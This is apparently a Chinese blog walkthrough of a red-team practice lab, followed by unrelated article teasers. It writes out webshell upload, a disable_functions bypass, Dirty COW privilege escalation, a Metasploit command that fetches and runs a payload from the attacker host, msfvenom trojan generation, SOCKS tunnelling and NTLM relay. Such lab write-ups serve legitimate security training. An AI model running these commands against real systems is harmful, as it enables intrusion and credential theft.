[红日靶机渗透] ATKCK红队评估实战靶场三

news2025/1/18 14:47:19
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

一、环境搭建

1.靶场下载

2.拓扑图

3.配置环境

二、外网渗透

1.信息收集

2.目录扫描

joomscan扫描

3.远程连接MySQL

4.getshell

5.LD_PRELOAD绕过

三、内网渗透

1.内网信息收集

信息收集总结:

2.ssh远程连接

3.脏牛提权

4.msf,监听

5.msf后渗透

6.基于EarthWorm的正反向socks5代理

1.我们首先要添加路由,转发sock代理

2.Socks5代理

四、横向移动

1.NTLM Relay 攻击

1.msf生成木马

2.抓取用户的Net-NTLM Hash的过程


一、环境搭建

1.靶场下载

靶场下载地址:
https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
提取码:7mhi

2.拓扑图

web-centos一进入:

service network restart 重启网络服务

3.配置环境

kaliweb-centosweb-ubantupcwin 2008win 2012
内网192.168.93.100192.168.93.120192.168.93.30192.168.93.20192.168.93.10
192.168.43.157192.168.43.57

二、外网渗透

1.信息收集

发现centos机器的外网IP地址是192.168.43.57

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.43.57

扫描发现开放了22、80、3306端口

2.目录扫描

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.43.57 

需要输入账号密码,可以尝试弱口令,发现失败了

joomscan扫描
┌──(root💀kali)-[~/桌面]
└─# joomscan -u http://192.168.43.57

版本joomla 3.9.12,可以利用msf的payload试试

还有很多目录,都可以扫描出来

想使用msf渗透,但是没有找到模块

/configuration.php~目录下面,找到了数据库的账户密码

想到开始端口扫描的时候,开放了3306端口,所以这里mysql是目前要尝试利用的地方

$user = 'testuser'
$password = 'cvcvgjASD!@'

3.远程连接MySQL

一般账号密码在数据库的user表中,直接检索,然后进行查找

发现这个是administrator最高用户,所以可以修改密码,然后进行登录

账号:administrator
密码:123456

也可以登录mysql,进行修改password

mysql -h 192.168.43.57 -u testuser -p

mysql> select * from am2zu_users;

update am2zu_users set password = md5("123456") where id = 891;  #修改password

4.getshell

点击Bee3 Details and Files

写入getshell木马

木马上传的文件位置:/templates/beez3/

最终地址:

http://192.168.43.57/templates/beez3/error.php

连接蚁剑

打开终端,发现无法输入命令

查看phpinfo发现确实设置了disable_functions

5.LD_PRELOAD绕过

payload下载:

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) - GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)icon-default.png?t=N7T8https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

蚁剑的插件市场里面也有:

LD_PRELOAD绕过

把这个再上传进去,上传的目录一定要记住,后面传参的时候要用到

说明这台机器,我们就已经拿下来了

三、内网渗透

1.内网信息收集

ifconfig

uname -a  ##查看内核版本

whoami     #查看当前shell权限      www-data
id         #uid=33(www-data) gid=33(www-data) groups=33(www-data) 

信息收集总结:

我们可以发现,我们开始是打算渗透进入centos靶机,但是我们这里远程命令执行的命令,回显出来的信息都是ubantu的靶机的

上网查了资料才知道,原来是Centos是Ubuntu的反向代理,用的是Nginx协议

最后在/tmp/mysql目录下找到了一个账号和密码

我们前面扫描centos靶机开放了22端口,我们这里可以尝试下ssh远程连接

adduser wwwuser
passwd wwwuser_123Aqx

2.ssh远程连接

┌──(root💀kali)-[~/桌面]
└─# ssh wwwuser@192.168.43.57 

uname -an

┌──(root💀kali)-[~/桌面]
└─# searchsploit linux 2.6.32

这里面有很多内核提权的方法,我尝试了几个,没有提权成功,我后来是用脏牛提权法

查看版本Linux内核版本信息,发现符合脏牛提权漏洞

3.脏牛提权

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

在可执行目录下,一般在/tmp目录下

gcc -pthread dirty.c -o dirty -lcrypt  ##编译dirty.c

./dirty 123456

id       #显示用户的ID,以及所属群组的ID;uid=0,为root用户

su firefart  ##密码123456

4.msf,监听

我们目前需要:通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接

kali 另外起一个msf,进行监听

msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   pubprn
   5   SyncAppvPublishingServer
   6   PSH (Binary)
   7   Linux
   8   Mac OS X


msf6 exploit(multi/script/web_delivery) > set target 7
target => 7

msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.43.157
lhost => 192.168.43.157
msf6 exploit(multi/script/web_delivery) > options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.43.157   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   7   Linux

输入run之后,会生成一个payload,然后复制在CentOS上执行

执行之后就会出现下图红框的中的内容

[firefart@localhost tmp]# wget -qO nPTCbkLP --no-check-certificate http://192.168.43.157:8080/KnZJ61asAFMH; chmod +x nPTCbkLP; ./nPTCbkLP& disown


5.msf后渗透

msf6 exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         meterpreter x64/linux  firefart @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) @ localhost.l...  192.168.43.157:4444 -> 192.168.43.57:50264 (192.168.43.57)

msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter >

6.基于EarthWorm的正反向socks5代理

参考博客:

基于EarthWorm的正反向socks5代理_socks5反向代理-CSDN博客文章浏览阅读3.9k次,点赞3次,收藏10次。EarthWorm是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处_socks5反向代理https://blog.csdn.net/qq_44159028/article/details/122821861

1.我们首先要添加路由,转发sock代理
添加路由是为了能让msf程序进入内网,便于攻击

earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等

ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口

添加一个通向内网 192.168.93.0/24 网段的路由

route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1

2.Socks5代理

使用earthworm搭建socks5反向代理

ew下载:

GitHub - idlefire/ew: 内网穿透(跨平台)内网穿透(跨平台). Contribute to idlefire/ew development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/idlefire/ew

kali(攻击者)

./ew_for_linux64 -s rcsocks -l 1080 -e 1234
  #将1080端口监听到的本地数据转发到 web服务器的1234端口
  # 通过1080端口,将本地流量转发出去
  #rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

在CentOS上传 ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.43.157 -e 1234
  #192.168.43.157 是攻击者kali的IP地址

再回到kali终端:

将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

这样我们就可以利用proxychains,将我们的socks5代理进去到内网中了

scanner进行扫描

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

四、横向移动

1.NTLM Relay 攻击

参考博客:

NTLM-relay攻击的原理与实现_ntlmssp攻击-CSDN博客文章浏览阅读10w+次,点赞9次,收藏17次。CATALOGNTLM相关1.用处2.认证流程其他术语NT-hash/NTLM-hashLM-hashNet-NTLM hashSSPISSPNTLM-relay原理不同版本的NTLM认证对应的responseNTLM-relay攻击如何获取到NET-NTLM hash通过responder或者inveigh工具Inveighresponder破解NET-NTLM hash(v2)其它方式的NTLM-relay攻击利用impacket的ntlmrelayssmb协议访问:http协议访问参考文章NTLM相_ntlmssp攻击https://blog.csdn.net/qq_41874930/article/details/108825010

工具使用说明:
impacket-master:为了伪造smb服务器,抓取用户的密码

msf:生成一个exe木马 ,结合impacket-master的smbrelayx.py使用

通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2

因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。
1.msf生成木马

首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.157 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
  #192.168.43.157 是kali的IP地址

然后将木马上传到centos靶机上

Impacket下载位置:

https://github.com/fortra/impacket/tree/master/examplesicon-default.png?t=N7T8https://github.com/fortra/impacket/tree/master/examples

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
  # 攻击信息都会反弹到192.168.93.20这台主机

但是这个靶机是没有python3的,所以要安装python3

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install

ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip

pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex 
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket

但是我这里一直报错说没用权限,所以没有成功

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:

nginx -s stop

执行python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的

有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻

击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

2.抓取用户的Net-NTLM Hash的过程

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-

NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,

会在Windows Server2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

在msf上开启对 win 2008(192.168.93.20)的监听

然后在win7上访问smb服务器,使得win 2008成功上线

顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器

win8进行监听

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入

用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1442010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

K210如何下载程序

一、打开资料包里提供的K-Flash程序烧录软件 二、选择串口 三、选择波特率 四、选择In-Chip,烧录到Flash芯片里面,重新上电还会运行程序 五、如果选择In - Memory,这次可以运行,但下次重新上电就不会保持这次的程序了。 六、选择固…

第三百一十回

我们在上一章回中介绍了"再谈ListView中的分隔线",本章回中将介绍showMenu的用法.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在第一百六十三回中介绍了showMenu相关的内容,它主要用来显示移动PopupMenu在页面中的位置…

C语言每日一题(52)单值二叉树

力扣网 965 单值二叉树 题目描述 如果二叉树每个节点都具有相同的值,那么该二叉树就是单值二叉树。 只有给定的树是单值二叉树时,才返回 true;否则返回 false。 示例 1: 输入:[1,1,1,1,1,null,1] 输出:t…

【黑马程序员】程序的内存模型

文章目录 内存分区模型分区意义代码区全局区特点代码示例 栈区特点代码示例 堆区特点代码示例 new 操作符 20240209 内存分区模型 分区意义 不同区域存放的数据,赋予不同的生命周期,给我们更大的灵活编程 代码区 处于程序未执行之前 程序编译后生成的…

Windows 安装 Linux子系统,并为子系统设置图形化界面

安装WSL 在控制面板中打开下面的选项: 执行下面的命令,更新到WSL2版本,并在以后创建子系统的时候默认采用WSL2的版本: wsl --update wsl --set-default-version 2在Window上安装连接工具: 在Window上下载VcXsrv&…

4.0 Zookeeper Java 客户端搭建

本教程使用的 IDE 为 IntelliJ IDEA,创建一个 maven 工程,命名为 zookeeper-demo,并且引入如下依赖,可以自行在maven中央仓库选择合适的版本,介绍原生 API 和 Curator 两种方式。 IntelliJ IDEA 相关介绍:…

Open CASCADE学习|求圆的切线与切点

在几何学中,一个圆的切线被定义为与圆相切于一点的直线,而该点被称为切点。这意味着切线在切点处与圆仅有一个交点,并且在该点处,切线的方向与圆的半径垂直。 以下是关于圆的切线和切点的一些重要性质: 切线与半径的…

在 VMware 虚拟机上安装 CentOS系统 完整(全图文)教程

一、前期准备: 1.安装VMware 虚拟机软件(不在讲解,可自行去下载安装)。官网:https://customerconnect.vmware.com/cn/downloads/details?downloadGroupWKST-PLAYER-1750&productId1377&rPId111471 2.下载iso…

【Langchain Agent研究】SalesGPT项目介绍(一)

【2024最全最细LangChain教程-13】Agent智能体(二)-CSDN博客 之前我们介绍了langchain的agent,其实不难看出,agent是更高级的chain,可以进行决策分析、可以使用工具,今天我们开始开启一些更高阶的课程&…

mysql 中文编码问题

前言 最近在学springboot整合mybatisplus技术,用到mysql数据库,然后发现在windows下插入数据表会出现中文乱码现象 (例如 “我是谁” 在数据库中就成了 “???”) windows show variables like %char%;建表时, 设置默认charset为gbk create table u…

LayUI中表格树折叠 --

1、先将插件源码进行下载,新建 tableTree.js 文件,将源码放进去 2、将 tableTree.js 文件 配置之后,在需要使用的页面进行引入: layui.define(["tableTree"],function (exports) {var tableTree layui.tableTree;// …

Mac上几款好用的MacBook视频播放器

使用Mac电脑时,视频播放器可以说是我们使用频率最高的软件之一了,不管是工作时看视频资料还是在家里看下载好的电影,都需要用到视频播放器,本文中我们就来推荐几款好用的Macbook视频播放器,总有一款适合你!…

OpenSSL 创建自签名证书

前言 Openssl 是一个方便的实用程序,用于创建自签名证书。您可以在所有操作系统(如 Windows、MAC 和 Linux 版本)上使用 OpenSSL。 自签名证书 创建我们自己的根 CA 证书和 CA 私钥(我们自己充当 CA)创建服务器私钥以生成 CSR使用我们的根 CA 和 CA 私钥创建具有 CSR 的…

vue3-内置组件-Teleport

Teleport <Teleport> 是一个内置组件&#xff0c;它可以将一个组件内部的一部分模板“传送”到该组件的 DOM 结构外层的位置去。 基本用法 有时我们可能会遇到这样的场景&#xff1a;一个组件模板的一部分在逻辑上从属于该组件&#xff0c;但从整个应用视图的角度来看…

如何通过ETL实现快速同步美团订单信息

一、美团外卖现状 美团作为中国领先的生活服务电子商务平台&#xff0c;其旗下的美团外卖每天承载着大量的订单信息。这些订单信息需要及时入库、清洗和同步&#xff0c;但由于数据量庞大且来源多样化&#xff0c;传统的手动处理方式效率低下&#xff0c;容易出错。比如&#…

盒子模型...

一&#xff0c;盒子模型 1.1网页布局的本质 1先准备好相关的网页元素&#xff0c;网页元素基本都是盒子BOX。 2利用CSS设置好盒子样式&#xff0c;然后摆放到相应位置。 3往盒子里面装内容。 1.2盒子模型 CSS盒子模型本质是一个盒子&#xff0c;封装周围的HTML元素&#xff…

结构体的大小以及内存对齐问题

结构体的大小怎么计算&#xff1f;什么是结构体的对齐&#xff1f; 首先想要直到结构体的大小需要先了解结构体的内存对齐。那么&#xff0c;什么是结构体的内存对齐&#xff1a; 什么是结构体内存对齐 结构体的对齐 就是 结构体类型数据在内存中按照一定的对齐规律储存。结…

【开源】SpringBoot框架开发校园电商物流云平台

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 商品数据模块2.3 快递公司模块2.4 物流订单模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 商品表3.2.2 快递公司表3.2.3 物流订单表 四、系统展示五、核心代码5.1 查询商品5.2 查询快递公司5.3 查…

Go语言每日一练——链表篇(四)

传送门 牛客面试笔试必刷101题 ----------------合并两个排序的链表 题目以及解析 题目 解题代码及解析 package main import _"fmt" import . "nc_tools" /** type ListNode struct{* Val int* Next *ListNode* }*//*** 代码中的类名、方法名、参…

unity——ScriptableObject相关知识点【学习笔记/不足之处欢迎斧正/个人复习向/侵删】

一、相关简介 1.ScriptableObject是什么&#xff1a;Unity提供的一个数据存储基类 2.ScriptableObject的好处有哪些&#xff1a;文件配置、数据复用、更好的处理数据带来的多态性为 二、ScriptableObject的创建 1.自定义ScriptableOject数据容器 继承ScriptableObject类 在…